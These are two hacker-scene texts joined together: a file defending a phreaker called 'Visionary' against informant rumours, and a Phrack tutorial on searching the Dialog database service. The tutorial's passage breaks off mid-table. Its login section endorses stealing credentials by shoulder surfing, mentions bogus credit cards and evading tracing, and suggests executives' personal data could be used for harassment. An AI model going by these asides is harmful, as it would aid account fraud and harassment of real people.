That was not the only ocation Visionary had let people believe he was an informent of some kind. Visionary found it was easier in some instances if certain people were set on believing the rumors, that they were better off deceived in that way. Certain people, Visionary found would trust him more if they thought he worked for a certain ld service. One particular instance, involved a local friend of Visionary’s. The kid, had heard a lot of rumors. Visionary had got him started in the shit, but what convinced the kid was the famous MCI tape. Visionary, finally told the kid he worked for MCI, and no government agency. When the kid in question heard this he was able to talk to Visionary easier. The logic here, is the kid didn’t know what Visionary did. If he did work for the FBI or Secret Service, he felt in danger by that. But As the local kid didn’t use MCI it made him trust Visionary. See people there was the same reason Visionary told several people that. People, like that kid as well as others didn’t care what Visionary did. Also Visionary at times would bolshit someone into thinking he was a government narc to get a reaction. "You would be suprised as to the number of people who actually wanted to narc," was Visionary’s statement.

Over the years Visionary has been the target of many a accuation. Many of those who know Visionary, know he is no narc, and never has been. Visionary, feels that people have been to quick to judge him, and he asks to just keep an open mind. The rumors about him are bolshit, as a number of facts will show. The facts which are a lot more credible stand a lot stronger than the rumors.
1. Many people Visionary has associated with have not been busted. This statement may not mean a thing, but it’s going to be ovious if he is a narc a lot of his friends would go down. Visionary talks to everybody, therefore you know that he will know some who have been busted. But the number are few, and when you talk to several who have known him, they will admit no Secret Service or FBI have shown up to get them. Logic to some may not dictate reality, but it makes sense and has proven to be true. Take a look at people like, Fourth Reich, Gandalf, Lord Sigath, Hellmaster, The Phlaw, Renegade and Weirdo. All the people have been around for a long time, and associated with Visionary. So ask yourself, why, if Visionary is a narc are they not busted? The answer is plane as day.

There is one major thing that needs to be covered in this file. The event

I am refering to happened during the sumer of 1990. It waa around the time of the 702 bridge. There was a guy going by the handle of Storm Shadow around. Storm Shadow lives in the New York area and Storm ShadowVisionary first knew Storm Shadow in late 1989. Some people that knew this guy would say he was a bolshit artist, who didn't come through. Storm Shadow had aproached several people he knew with a deal involving information providers. The deal was he worked for a private investigator. The type of work Storm Shadow clamed to be doing was nonhacker related cases. He clamed it was just people he needed to obtain records on various things such as, Social Security records, local usage dialing records, CBI and TRW records, LD records as well as other things. He made offers to a number of people like Visionary, Toxic Roadkill, Code of Honor, Nemesis, Joe Friday, Billy The Kid as well as others to work for him.
When he tried to get Visionary involved, he didn't have a lot for it. Storm Shadow asked Visionary to find people to help him out. Visionary introduced Storm Shadow to a few people explaining what Storm Shadow's problem. At this point Visionary just left it up to the people. One thing that should be understood, is Visionary had no notion that Storm Shadow wasn't anything beyond what he said. Some of the people like Toxic Roadkill, Joe Friday and Code of Honor did do some work for Storm Shadow. This thing went on for a few months ooff and on from late 1990 into 1991.

Recently certain things came to light regarding Storm Shadow. In the fall of 91, there were a few people busted in the New York area. Storm Shadow and a guy known as Renegade Hacker were among the people. It appears Storm Shadow is a witness for the government against some of the others busted. It's been thought by a couple, that Storm Shadow was gathering evidence against the people he tried to get working for him. This in itself didn't make Visionary look very good, as he introduced Storm Shadow to a number of people. You see once again, Visionary is going to get blamed wrongfully for something not in his control.

Gentleman, after reading the accounts above you may understand Visinary's anger when someone calls him a narc. Rather by his own falt, or just the manor of things, Visinary has not been treated fairly by the HP communinity. It's not fair that people look at him differently. Just because he may not be like everyone else is no excuse.

Recently, people have been spreading a lot of rumors without hearing Visionary's side. Recently, people will produce what they call evidence without allowing him to explain.

A lot of statements, and information have been passed among people, that when you look at it means nothing. People say they've got Visionary on tape admitting he's a narc. Visionary has bolshited people before, and the plane fact is someone was taping him. People will bring up the fact Visionary has not been busted. Just because the guy hasn't been busted doesn't mean anything. Visionary is not always active, therefore isn't always at risk. Some people t will wonder why someone Visionary's age, 27 years old is in this stuff. Some of the most wellknown hackers are in their twentys, and some are even in the early thirtys.

One major fact, that has been brought up about Visionary will be addressed now. Some people, with good reason, may want to know the reason behind this major fact regarding Visionary. One question, that has come up from time to time, is what does Visionary specialize in relation to hacking. Some wonder what Visionary does in the hack/phreak world. Gentleman remember Visionary is handicapped as well as visually impaired. Being blind kind of makes his resources kind of limited in reading files. He uses an Echo Speach Card with limited software. Not just any program will work with the speach card. The Echo takes text and speaks it OK to a point. But when reading stuff from a text file, the words are not spoken properly. Some symbols aren't pronounced therefore making things even harder. When on a Unix system it's rough because the commands aren't spoken like they should be. The main thing Visionary is good at is the social enginering aspect.

Let’s keep in mind no matter how someone goes about learning, it does make them any different different. Visionary should be looked upon as a shady character just because he may be curious. He has to learn by asking questions, where all of us take the ability of reading for granted.

The reason this file is being widely spread, is in hopes some of the slandering of Visionary’s name can stop. "The computer and the telephone are my best sources of entertainment. I enjoy hacking as a hoby and do not appreciate the continuing rumors people spread." fter

The main thing here, is every time some strange event happens in the seen, people point the finger at Visionary. Let’s stop the shit, let’s stop assuming he’s the guilty one. Recently Visionary was blamed for a bunch of people being on Alliance Teleconferencing.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 18 of 27

****

Searching the Dialog Information Service

By Al Capone
(alcapone@mindvox.phantom.com)

This file will show you how to use the Dialog Information Service. It is divided into the following parts:

<> --- Background Information
<> --- Accessing Dialog
<> --- What to do when you're in
<> --- Searching and Search Strategy

As loyal Phrack readers may recall, there have been two articles written about Dialog already: Control-C wrote "Inside Dialog" in Issue 9 and much later Brian Oblivion wrote "The Complete Guide to The DIALOG Information Network" in Issue 39. Why another one? The online world changes so rapidly that things written just a couple of years ago can be out of date today. What differentiates this file from its two predecessors is that this file is: less 'manual derived', current (as of 11/93), more hands on, and hopefully is easier to read and put to immediate use.

To obtain additional information about Dialog contact:

Dialog Information Service Worldwide Headquarters
3460 Hillview Avenue
P.O. Box 10010
Palo Alto, CA 94303-0993
Phone: 1-800-3-DIALOG (800-334-2564)

<> Background Information

"The United States is turning from an industrial age nation into an information age nation," U.S. Senator Gary Hart, The Tonight Show, 1993.

From Big Brother creating dossiers on subversives to credit reporting agencies determining whether or not you get your credit card application approved, it all boils down to the more you know, the better you are able to succeed in society.

Following through a hacker progression, huge databases have amassed providing online access to a seemingly infinite number of sources used for anything imaginable. Lawyers can access these databases to research such things as precedents for court cases. A graduate student trying to earn his or her masters degree can gain access to research a thesis, companies can get information on competitors, and so on. Databases are distributed into two categories: Research and Entertainment.

Gaining prominence in the early 1980's, entertainment databases were comprised of the big two: The Source and Compuserve. Another prominent service, the Dow Jones News Retrieval Service was part research and part entertainment. A few other less significant databases also existed at this time.

The Source was a subsidiary of the investment firm of Welsh, Carson, and Stowe. It provided some seven hundred and fifty features and services including electronic mail. Investment features included a discount brokerage firm, and a full range of stock, bond, and commodities information, with an option to search portfolios. It also allowed you to search other fellow users by location, account number, or interest. The Source was subsequently bought out by Compuserve and was shutdown on August 1, 1989.

Compuserve is a division of H&R Block. It is the largest service worldwide offering some four hundred thousand subscribers a variety of news and financial information. It also offers access to Valueline and the Standard and Poor databases, which are online business references. It also has online games and a travelling service.

The Dow Jones News/Retrieval is a part of the Wall Street Journal and provides online abstracts of printed papers published by Dow Jones and Co. It now includes profiles of over forty six hundred companies and has diversified to provide sports coverage.

Today, most of you are aware of the myriad of other entertainment online services such as Genie, Prodigy, America OnLine (AOL), etc. All of these so called entertainment services have made attempts at offering various business and research services to their users. Its interesting to sit back and watch how each one tries to out-do the other. You will find that some databases are offered through some of these entertainment services as well as dialog and perhaps other commercial services. Be aware that the costs may differ substantially among them for the same exact database. If you are paying for access, be sure to shop around if the particular database is popular.

If you travel to your local university library you will notice computer databases to which you can access such things as doctoral dissertations (get brownie points by telling your professor how interesting his/her thesis was), medical research (look up that newly acquired disease that your doctor mumbled that you now have), even national newspaper articles. This is just another source of information at your disposal (aside from books that is). Popping up more and more in libraries are "fee based research services". These are simply professional librarians who use research databases to retrieve the information you are too ignorant or stupid (or don't have enough time) to retrieve yourself. Fees range from their cost only (ie, online charges) to upwards of $100. per hour of their time spent PLUS any online charges.

As you can probably deduce, it would be cost effective to use every possible free source of information before turning to online searchers. I recommend exhausting all the in-library databases before going online simply because the in-library databases are usually available on CD-ROM and you are not charged an hourly rate to use it. And don't forget about all those free Internet FTP sites, Gopher, WAIS, WWW, and even usenet! Most librarians are just starting to pay attention to and make use of the Internet. However once you have read this article you will be well versed on one of the major databases that is being used by these research services. If you run into an online database in your library, I suggest that you know what you are doing, as librarians are very skeptical due to the fact that you are using their money to do your searching.

Running a research service seems to be a good idea. Not only does it provide a "legal" form of hacking to satisfy your thirst for information, there is definitely a substantial amount of money to be made. Entrepreneur magazine lists it as being in the top ten of prospective business opportunities. You are professionally known as an information broker, a degree in Library Studies (a traditional four year degree) helps, and if you don't decide to pursue the research angle, you could then become a librarian (how exciting).

One of the research databases commonly used is the Dialog Information Service. Dialog is a subsidiary of Lockheed Missile and Space Corporation. It provides access to more than three hundred databases containing over one hundred million records. The significance of this service is that it joins all 300+ databases together, you can skip from one database to another simply by 'beginning' the database. In the past, the user would have to individually call each database and pay an exorbitant charge to use it. Dialog eliminates this and keeps all the databases together. Because of the vastness, all sources are summarized with keyword searches. Dialog has substantial signup charges ($295. last time I asked them) in addition to the fact that each individual database charges an hourly rate. Each rate varies according to things like the relative importance of the topic, cost to put the information online, and the main determining factor: what they think the users will pay. Some database providers seem to defy any logical reasoning as to how they determined the cost to access their information.

Dialog can be accessed in about a dozen different ways. It is available through Westnet, Wangpac, Dunsnet, IBM Information Network, and TWX-TELEX. The following chart lists some other alternatives along with connection rates:

Ways to Access Dialog with Connection Rates
Table 1

Service	Rate per Hour (U.S.Dollars)
Dialnet Direct Dial (Palo Alto Dialnet Nodes)	$ 4.00
Dialnet-In Watts (Direct 800#)	$24.00
GEIS-Marknet *	$25.00
GNS (Global Network Services - BT Tymnet) **	$12.00
Internet Gateway..(ANSnet)	$ 4.20
Journal of Commerce (JOC and KRU Network) ***	$24.00
Sprintnet (Formerly Telenet)	$12.00

* = Available for users in Australia, New Zealand, Hong Kong, Singapore, and the Philippines.
** = Available in Europe.
*** = Available in the Far East and Asia.

<> - Accessing Dialog

The following three scenarios will show you how to log in to Dialog to begin your searching. [] denunciates what you should type in:

1. - Accessing Dialog through the Internet via the telnet command:

```
$ Telnet dialog.com

DIALOG INFORMATION SERVICES
PLEASE LOGON:
?XXXXXXXX [Enter the Dialog Usernumber]
ENTER PASSWORD:
?XXXXXXXX [Enter the Dialog Password]

You're In!
```

2. - Accessing Dialog through Tymnet

```
[a]
please log in:[dialog]
```

```
DIALOG: call connected
DIALOG INFORMATION SERVICES
PLEASE LOGON:
?XXXXXXXX [Enter the Dialog Usernumber]
ENTER PASSWORD:
?XXXXXXXX [Enter the Dialog Password]
```

You're In!

3. - Accessing Dialog through Sprintnet

```
[Enter]  [Enter]  [Enter]
TELENET
123 45K
@ [41548]
415 48 connected
DIALOG INFORMATION SERVICES
PLEASE LOGON:
?XXXXXXXX [Enter the Dialog Usernumber]
ENTER PASSWORD:
?XXXXXXXX [Enter the Dialog Password]
```

You're In!

Here let me say a few things about getting a correct logon/password combination. In order to familiarize yourself with the system, Dialog gives you a starter kit which includes your legit logon/password, along with some other perks like some free online time. This online time can be used the minute you get your starter kit. You may also illicitly obtain a correct logon/password combination using such an elaborate technique as looking over the shoulder of the person typing it in (shoulder surfing).

Of course Dialog will immediately revoke the 'hacked' account the minute that the "scheme" is uncovered, but at least you will have by then done your research and quietly slipped away. Keep in mind that network nodes send port identifiers and if you are using a bogus credit card, then you might be in some hot water should they decide to track you down. It is assumed that if you intend to gain unauthorized access, you are somewhat versed in the various methods to negate the 'tracing' capability of the network(s).

Dialog offers 6 'free' accounts to prospective and current subscribers. These are restricted accounts which provide access to their ONTAP training databases. There are two to three dozen databases which they scale down to include a fraction of the number of records and/or contain dated records from years ago. You search these databases the same way as the full-scale ones. The purpose is for you to verify your search strategy, and once you feel confident that your search strategy will pull up the info you want (not too many records yet not too little), you use your dialog account to access the same database at the going rate. This way, you don't lose lots of cash if you screw up, because you made all your mistakes using the free accounts. Since I use the free accounts on occasion, I don't think it would be a good idea to list them in this file. Suffice it to say that Dialog is happy to provide the phone number to you that has the pre-recorded userid and password combinations for the ONTAP accounts. Note that these passwords are changed every month, with new passwords being provided at the first of each month and that only one person may use each account at a time.

Also note that Dialog occasionally offers a 'free file of the month' in which you use your normal Dialog account to do searches in the particular database. They usually allow you to rack up to $50 or sometimes an hour's worth of search charges -- I guess that is Dialog's definition of 'free'. The only charges you pay when you access any free files of the month are telecommunications charges (see Table 1 above). Once you leave the free file of the month, you will start to incur normal Dialog online time charges.

<> What to do When You’re In

Once you have gained access to Dialog the system will show you something like this:

```
Welcome to DIALOG
Dialog level 29.01.04B
Logon file227 22may93 12:27:30

COPR. (c) DIALOG INFORMATION SERVICES, INC. ALL RIGHTS RESERVED.
NO CLAIM TO ORIG. U.S. GOVT. WORKS.
***Equal Employment Opportunity (EEO) Data Available in CENDATA
   Menu 22.7

***Preformatted Patent REPORTS are now available for File 28,351

New: CINCINATTI/KENTUCKY POST (PAPERS) (File 722)
New: ST. PETERSBURG TIMES (File 735)
New: WICHITA EAGLE (PAPERS) (File 723)

>>> Enter BEGIN HOMEBASE for Dialog Announcements <<<
>>>       of new databases, price changes, etc.   <<<
>>>        Announcements last updated 07may93     <<<

SYSTEM:
```

The "SYSTEM:" prompt directs you to pick a file. A file in this case is the number to a database. In the above welcome message you will notice that the St. Petersburg Times appears in File 735. This simply means that if I wanted to look up an article in the St. Pete Times, I would type in "b735" at the "SYSTEM:" prompt. The "b" stands for begin, as if you are beginning in that database. Like I said earlier, each database charges a different rate which typically depends on the ’importance’ of the information. Therefore, it will probably charge more for biochemistry information than for newspaper articles. The following list shows costs for the some of the "A" databases in the Dialog system.

HOMEBASE is the Dialog tutorial. It provides all sorts of help needed by the beginner hacker...errr user. Homebase lists announcements, dates and locations of training seminars ($70 to $140 for half/full day seminars, I have been to a few for dialog and some of their individual databases and highly recommend going especially if they are offered for free), and lists dialups in various area codes.

Individual Dialog databases by the Letter A
Table 2

File Number	Database Name	Rate per Minute/Hour
15	ABI/Inform	2.20/132.00
88	Academic Index	1.40/84.00
108	Aerospace Database	1.50/90.00
163	AGELINE	1.00/60.00
581	Agribusiness U.S.A.	1.60/96.00
10	Agricola 1979-present	.75/45.00
110	Agricola 1970-1978	.75/45.00
203	Agris International	1.00/60.00
306	The Agrochemicals Handbook	4.41/265.00
157	AIDSline 1980-	.60/36.00
708	Akron Reacon Journal	1.60/96.00
38	America:History and Life	1.08/65.00
625	America:Banker Full Text	2.00/120.00
Banknews	American Banker News	2.00/120.00
460	American Library Directory	1.25/75.00
236	American Men and Women of Scien.	1.58/95.00

305	Analytical Abstracts	2.66/160.00
257	API Energy Business News	1.60/96.00
897	API Energy Business News	1.60/96.00
354	APILIT (non-subscriber)	3.08/154.00
954	APILIT (Subscriber)	1.83/110.00

This list continues for some fifteen more databases (those that start with the letter A). If I were to list the entire database list, this covers some ten pages of documents, not withstanding that it's constantly being revised/updated. If you look at my example in logging on, the St. Petersburg Times was recently added as a database. This would not reflect in my database list as I have compiled, outdating it before I even listed it. I suggest that you contact Dialog at the phone/address at the beginning for an updated list of databases. The document is called "Price List". However Dialog has online an entire list of all its databases. This list is located in File 411.

Also contained in this list is the Dun and Bradstreet databases (Files 514 through 522). Dun and Bradstreet provides corporate information to subscribers. It can be used for anything from competitive intelligence on another business to credit reports on prospective clients to background intelligence. File 519 contains full disclosure on financial information on a company. Each record costs $106. (at this time). The other databases are significantly cheaper, but not by much. The way D&B gathers this information is they send out employees to "interview" various corporations and their officers and simply translate the info into a record which they then market. One thing about each database is that they each contain their own language within the general Dialog language (which will be discussed further in this file). In Dun and Bradstreet you can search by company, PIC and SIC codes (these are simply manufacturing categories which the searcher can use to find companies. Example: if I wanted to find the top ten companies in long-distance services, I could use a PIC code), or various other categories.

The following is an exploration of Phrack's old buddies, BellSouth:

```
$ s dp=10-667-8006
$ t s2/co/all
```

(The "dp" command displays all subsidiaries of a company (only the direct subsidiaries, the ones that report directly to BellSouth. The result is the following:)

```
Company
Name
--------------------------------

Mobil Communications Corp
Bellsouth DC Inc
American Cellular Communications
Bellsouth Enterprises Inc
Bellsouth Financial Services
Bellsouth Advertising & Publishing
Mobile Communications Corporation
Mobilecomm of Nashville, Inc.
Bellsouth Telecommunications
```

Here is the record disclosure from File 516: D&B Market Identifiers:

```
2655560   DIALOG File 516:  D&B Duns Market Identifiers
Bellsouth Corporation
1155 Peachtree St Ne
Atlanta, GA 30367-6000

TELEPHONE: 404-249-2000
COUNTY: Fulton      MSA: 0520 (Atlanta, GA)
REGION: South Atlantic

BUSINESS: Telecommunications Services
```

```
PRIMARY SIC:
 4813       Telephone communication, except radio
  48130000   Telephone communication, except radio, nsk
  48130102   Local telephone communications
  48130103   Long distance telephone communications
  48130104   Voice telephone communications

SECONDARY SIC(S):
 4812       Radiotelephone communication, nsk
  48129901   Cellular telephone services
  48129902   Paging services
 2741       Miscellaneous publishing, nsk
  27410304   Directories, telephone: publishing only, not printed on site
 5065       Electronic parts and equipment, nec, nsk
  50650100   Telephone and telegraphic equipment
  50650103   Telephone equipment

LATEST YEAR ORGANIZED:  1983   OWNER CHANGE DATE:          NA
STATE OF INCORPORATION:  GA    DATE OF INCORPORATION: 10/13/1983
ANNUAL SALES REVISION DATE: 04/19/1993

                         LATEST             TREND             BASE
                           YEAR              YEAR             YEAR
                                           (1991)           (1989)

SALES          $ 15,201,600,000   $ 14,445,500,000   $ 13,600,000,000
EMPLOYEES TOTAL:         97,100             96,975            102,000
EMPLOYEES HERE:             982

  SALES GROWTH:  6   NET WORTH: $ 11,996,800,000
  EMPLOYMENT GROWTH:  -5

SQUARE FOOTAGE:  480,000  OWNED
NUMBER OF ACCOUNTS: NA
ACCOUNTING FIRM: Coopers & Lybrand Atlanta GA
BANK: Chase Manhattan Bank NA Inc  BANK DUNS: 00-698-1815

THIS IS:

    A  HEADQUARTERS LOCATION
    AN ULTIMATE LOCATION
    A  CORPORATION
    A  PUBLIC COMPANY
    A  MILLION DOLLAR DIRECTORY COMPANY

DUNS NUMBER:             10-667-8006
CORPORATE FAMILY DUNS:   10-667-8006

CHAIRMAN:                   Clendenin, John L  /Chb-Pres-Ceo
PRESIDENT:                  Clendenin, John L  /Chb-Pres-Ceo
VICE PRESIDENT:             O Neill, Robert W  /Vp Assoc Gen Counsel
                            Markey, David J  /Vp-Govt Affairs
                            Fiedler, Mark L  /Vp-Corp Development
                            Gunter, John R  /V Pres-Corp Responsibility & C
                            Casey, Patrick H  /V Pres-Comptroller
                            Yokley, Arlen G  /V Pres-Sec-Treas
SECRETARY:                  Yokley, Arlen G  /V Pres-Sec-Treas
TREASURER:                  Yokley, Arlen G  /V Pres-Sec-Treas
VICE-CHAIRMAN:              Holding, Harvey R  /V Chb-Finance &
                             Administration
                            McCoy, William O  /V Chb
COUNSEL:                    Alford, Walter H  /Exec V Pres-Gen Counsel
FINANCE:                    Holding, Harvey R  /V Chb-Finance @
                             Administration
RESEARCH AND DEVELOPMENT:   Fiedler, Mark L  /Vp-Corp Development
EXECUTIVE VICE PRESIDENT:   McGuire, Raymond L  /Exec V Pres-Govt Affairs
                            Alford, Walter H  /Exec V Pres-Gen Counsel
                            Mauldin, Earle  /Exec Vp & Cfo
SENIOR VICE PRESIDENT:      Reddersen, William F  /Sr Vp-Broadband
```

```
                             Strategies
CHIEF EXECUTIVE OFFICER:    Clendenin, John L  /Chb-Pres-Ceo
ADMINISTRATION:             Reddersen, William F  /Sr Vp-Broadband
                             Strategies
                            McCoy, William O  /V Chb
                            McGuire, Raymond L  /Exec V Pres-Govt Affairs
                            Mauldin, Earle  /Exec Vp & Cfo
                            Holding, Harvey R  /V Chb-Finance &
                             Administration
CHIEF FINANCIAL OFFICER:    Mauldin, Earle  /Exec Vp & Cfo
MANAGEMENT:                 O Neill, Robert W  /Vp Assoc Gen Counsel
SALES-MARKETING VP:         Gunter, John R  /V Pres-Corp Responsibility & C
FINANCE VP:                 Casey, Patrick H  /V Pres-Comptroller
ENGINEERING VP:             Fiedler, Mark L  /Vp-Corp Development
```

Record 519 goes on and displays news and personal information on the executive officers, including the following:

At divestiture, AT&T transferred to this corporation its 100 ownership in South Central Bell Telephone Company, Southern Bell Telephone and Telegraph Company and Bellsouth Mobility Inc.

Shareholders of AT&T as of Dec 30 1983 received one share of Bellsouth stock for every 10 common shares of AT&T stock.

Business started 1983. The common stock is listed on the New York, Boston, Midwest, Pacific and Philadelphia stock exchanges under the symbol "BLS". As of Jan 31 1993, there were 1,286,670 shareholders of record. The majority of the outstanding common stock is owned by the general public. Officers and directors own less than 1 of the outstanding stock.

............RECENT EVENTS.........

In Jan 1992, the company and RAM Broadcasting Corporation formed a business venture to own and operate certain mobile data communications networks worldwide as well as certain cellular and paging operations in the US (Further details on file at the Woodbury, NY office of Dun & Bradstreet).

During 1992, the company made several small acquisitions, principally related to cellular phone service.

On Sep 20 1991, the company acquired several properties in Indiana, Wisconsin and Illinois from McCaw Cellular Communications, Inc in exchange for $361 million, including BellSouth's interest in Rochester, NY's non-wireline cellular provider.

On Sep 17 1991, the company completed the acquisition of Graphic Scanning Corp for an adjusted total cash purchase price of $168 million. In addition, certain liabilities of Graphic Scanning amounting to approximately $142 million were assumed by BellSouth.

On Mar 28 1991, the company acquired from GTE Mobilnet Incorporated two cellular partnerships in which it held minority interests, which resulted in BellSouth Enterprises, Inc gaining an additional 21 interest in the Atlanta-Athens Limited Partnership and an additional 42 interest in the Lexington, Kentucky MSA Limited partnership.

........MANAGEMENT BACKGROUND........

CLENDENIN born 1934 married. 1955 Northwestern University BS. 1955-1978 Illinois Bell Telephone Co, Chicago, IL. 1975 Vice President. 1978-1980 Pacific Northwest Telephone Co, Seattle, WA, Executive Vice President. 1980-1981 AT&T Vice President. 1981 Southern Bell Telephone. 1984-present Chairman of Board, President, and CEO, Bellsouth Corporation.

MCCOY born 1933. Graduate of University of North Carolina, 1955 BS, BA and MIT and 1968 MS Management. 1955-1959 U S Marine Corps. 1959-present BellSouth Corporation; 1993 Vice Chairman, BellSouth Corporation.

YOKLEY born 1937. Graduate of Catawba College, Salisbury, NC 1959. 1959 joined subject.

MCGUIRE born 1933 married. Graduate of Mississippi College 1957 and University of Mississippi 1960. 1961-1965 law clerk of the U S Court of Appeals, 5th Circuit and trial attorney for tax division at the Department of Justice, Washington, DC and 1966 became Assistant U S Attorney, Northern District of Mississippi. 1967 joined Southern Bell Telephone and Telegraph Company (Inc), Atlanta, GA. Mar 1985 elected to present position.

Explanation of Bellsouth search results:

WOW! All they made in sales was 15 billion dollars -- and they call hackers crooks. The data showing the news is helpful, and all the personal information could really be used for harassment purposes if necessary. Take a look at their credentials. A prospective employee could use this data to ass-kiss a little. Their college references clearly show why the E911 document created such a fiasco in the company....

<> - Searching and Search Strategy: Contrived and Free Text Searching

There are two different types of searching to find the topic you need: contrived and free text. After selecting the "file" or database number that you want, Dialog gives you a "?" as a prompt. At this point you can begin your searching.

Contrived word searches should begin offline though. The database in question will send you a thesaurus (for a fee usually) which will tell you exactly what words correlate with your topic, so that you can go directly to the topic eliminating a lot of extra online time. Keep in mind that each database has a different thesaurus so unless this database you have chosen is going to be your primary database of use down the road, then you may want to just use free text searching.

The only problem with free text searching is if your word is anywhere in an article it is counted and shown to you whether relevant or not. Imagine searching for the word "aircraft" in an aeronautical database or "student" in an educational database. The result could be apocalyptic as you would have to sort the data by its relevancy or irrelevancy. That is why you need to develop what is called a "search strategy". Although Dialog permits you to expand a too narrow search or condense a broad search, a perfect strategy will not require the use of these commands (I will discuss them later though). A perfect strategy is both effective, time efficient, and doesn't generate too many headaches.

The only things I feel that a search strategy needs to be considered a good one is the correct use of the system's language (you need to know exactly what you are typing in and why, just as with any other language - Fortran, C, etc.) and a synonym dictionary. Occasionally my mind will go blank in searching through a database for a topic because once I have input the primary topic, I run out of ideas with which to draw correlations. That is why you need the dictionary. If I were searching with the word "student", I could use the word "pupil" and "scholar" as other points of venue to search with after I have looked up "student" in the dictionary. By using this technique, you are sort of using a modification of the contrived word search as the costly thesaurus does the same action as your two dollar synonym dictionary.

Beginning Your Search: The SELECT Command

After completing the login procedure, began the database that you want to search, and viewed the welcome banner, etc. you will be shown the following message:

```
Set  Items  Description
---  -----  -----------

?
```

This question mark tells you to start your search. Functionally the Select command will search through the database looking for the terms that you have specified. The correct way to do this is as follows:

```
? S [term]
```

```
ex.  ? S COMPUTER
```

Although very broad, the select command will search the entire database for the word "Computer" and will compile a total list. It will display it to you as the following:

```
? S COMPUTER
   S1 27263  COMPUTER
```

After each search the S# will increment itself by one. What this does is ease in the resurrection of searching. If I ever wanted to use the word "Computer" again, all I would have to type in is: "S1" for an easy substitution. Especially when I am using CD-ROM, I like to use a very broad topic to begin my searching, and then I will narrow it down. The word "Computer" fits this description.

Adding meaning to the SELECTion

Here I would like to talk a little about the words "and" and "or". These words are definitely the most important words to search with. Specifically they will narrow down your search because you are using one more word to help you find and article.

```
ex.  ? S COMPUTER AND CRIME             or          S S1 AND CRIME
        27263  S1
        356    CRIME

        S2  49 S1 AND CRIME
```

Notice how "CRIME" had 356 articles that contained its word, however when combined with the word "Computer" only had 49! This makes it very easy to narrow your search down to specifics, but not all the way as I will further explain.

Another command I would like to discuss is the "SS" command. This is an abbreviation of the Select command known as "Select Steps". What this does is break up a search into individual steps.

```
ex.   ? SS COMPUTER AND CRIME
          S4  27263  COMPUTER
          S5    356  CRIME
          S6     49  COMPUTER AND CRIME
```

This is specifically used if I want to individualize a search and use the terms for other topics. Keep in mind that the assigning of these steps and the individual searches that it must conduct may result in slower processing times thereby running up your total online bill.

When Dialog is asked to do a search, it retrieves the following in what is called fields: Title, Abstract, Descriptors, and Identifiers. The two most important fields are the descriptors and identifiers. When scanning a database that has come up with fifteen sources the easiest way to determine if these articles are worth keeping or tossing into the circular file is through the descriptors and identifiers. The "Descriptor" will in two words or less explain the entire article, which is why they are otherwise known as the controlled vocabulary terms. Identifiers, on the other hand, are the free language terms. These are the ones we can relate to on an easier plane. You can also search specifically for descriptors or identifiers as well as a lot more terms by the following commands.

```
Ex.  S COMPUTER AND CRIME/DE
```

This will search for computer and will use crime as a descriptor. /ID works as well for identifiers. Other suffixes can be used as according to the following table:

Index Listing - Part 1
Table 3

Suffix	Field Name	Indexing	Examples
/AB	Abstract	Word	S COMPUTER AND CRIME/AB
/DE	Descriptor	Word and Phrase	S COMPUTER AND CRIME/DE
/ID	Identifier	Word and Phrase	S COMPUTER AND CRIME/ID
/TI	Title	Word	S COMPUTER AND CRIME/TI

Truncation

Truncation permits you to search for different forms of a search term. On Dialog, the symbol is "?". For instance, if I wanted to search for a word and I didn't know its exact spelling, I would do the following:

ex. [Searching for the word Capone or Capoan, but not quite sure]

```
     ?  S CAPO?
          S1 122753  CAPO?
```

This also can be used in several other ways. For instance, plurality, or maximum number of letters following a word. Example:

```
ex.  ?  S CAPO??
```

This maximizes the word search at two letters past the "O".

```
ex.  ?  S CAPONE?
```

This finds the plurality in the word capone.

```
ex.  ?  S CAP?  ?
```

This finds the letters between the two question marks.

Proximity and Field Operators

Proximity operators specify the position of search terms in relation to each other within a record or field. If I wanted to search for the words "Legion" and wanted to make sure that the word "Doom" was within a certain area around it, I would use a proximity operator. For instance:

```
? S LEGION(3W)DOOM
       932   LEGION
       812   DOOM
        27   LEGION(3W)DOOM
```

In the above example Doom was searched within three words of Legion. You can use any number in place of the three. The good thing about this proximity operator is that it searches the second word from the first on both sides. Using the above example here is a picture of it:

```
         Doom <---- 3 words ----> Legion <---- 3 words ----> Doom
```

A field operator allows two words to be within a field in any order. For example:

```
? S COMPUTER(F)CRIME/DE
       14321  COMPUTER/DE
```

```
        2720  CRIME/DE
          95  COMPUTER(F)CRIME/DE
```

This shows that in the descriptor section of a search, the words computer and crime show up ninety-five times together. They could be completely unrelated, although this is doubtful.

The L operator is used exclusively for the descriptor section. This operator simply "links" the words together. A search term looks like this:

```
? S COMPUTER(L)CRIME
```

The N operator is used similar to the W operator in that it searches for a proximity of one word from another. Here is an example of a search:

```
? S COMPUTER(5N)CRIME
```

This searches for the words computer and crime within five words of each other. Another way the N is used is to search with words that are the same, for instance the words: air-to-air, or protein(N)protein. The below example when using the "N" operator shows in the text just why the file would be flagged by the search program. Notice the "protein/protein".

```
? S PROTEIN(N)PROTEIN
```

... surfaces presumably as a result of dynamic process of protein adsorption and desorption and protein / protein interaction.

Sample Record

In order for me to discuss critical points in a found record I first need to show the record itself. The following record was searched in the ERIC database (File number 1 - - $.50 per minute and $30.00 per hour).

```
  EJ330267  JC504091
  Invitation to a Hacker.
  Archer, Chalmers, Jr.; Archer, A. J. Finch
  Community, Junior and Technical College Journal, v56 n4 p26-28 Feb-Mar
  1986
  Available From: UMI
  Language: English
  Document Type: JOURNAL ARTICLE (080)
  Journal Announcement: CIKMAY86
  Examines the susceptibility of computerized institutional records to
security violations by "hackers," wishing to access the systems.  Points
to practices that encourage security abuses and risk confidentiality.
Outlines procedures used by Northern Virginia Community College to protect
its computer system. (LAL)
  Descriptors: Community Colleges; *Computer Oriented Programs; *Computers;
Confidentiality; *Confidential Records; Two Year Colleges
  Identifiers: *Hackers; School Records
```

Let us examine this search more closely.

EJ330267	: This is what is known as the Dialog Accession Number. All files contained in the Dialog system, no matter what database has an accession number. You can search for an article exactly by this. Use the index AN=. Example: S AN=EJ330267 │ Will call up the above article.

Invitation to a Hacker : This is the title, use /TI as the index for this.

Archer, Chalmers, Jr. : This is the author, Use the index AU=. Example: S AU=ARCHER, CHALMERS, JR.

Community, Junior ... : This is the location, the source of the publication. Use the index SO=.

English : This is the language. Dialog lets you search for articles in different languages. Use the index LA=.

CIJMAY86 : This is the Journal Announcement. You can use the index JA=

And you know the Abstract, descriptors and identifiers. The following table shows all the indexes including the ones above for convenience.

Index Listing - Part 2
Table 4

Prefix	Field Name	Indexing
AN =	DIALOG Accession Number	Phrase
AU =	Author	Phrase
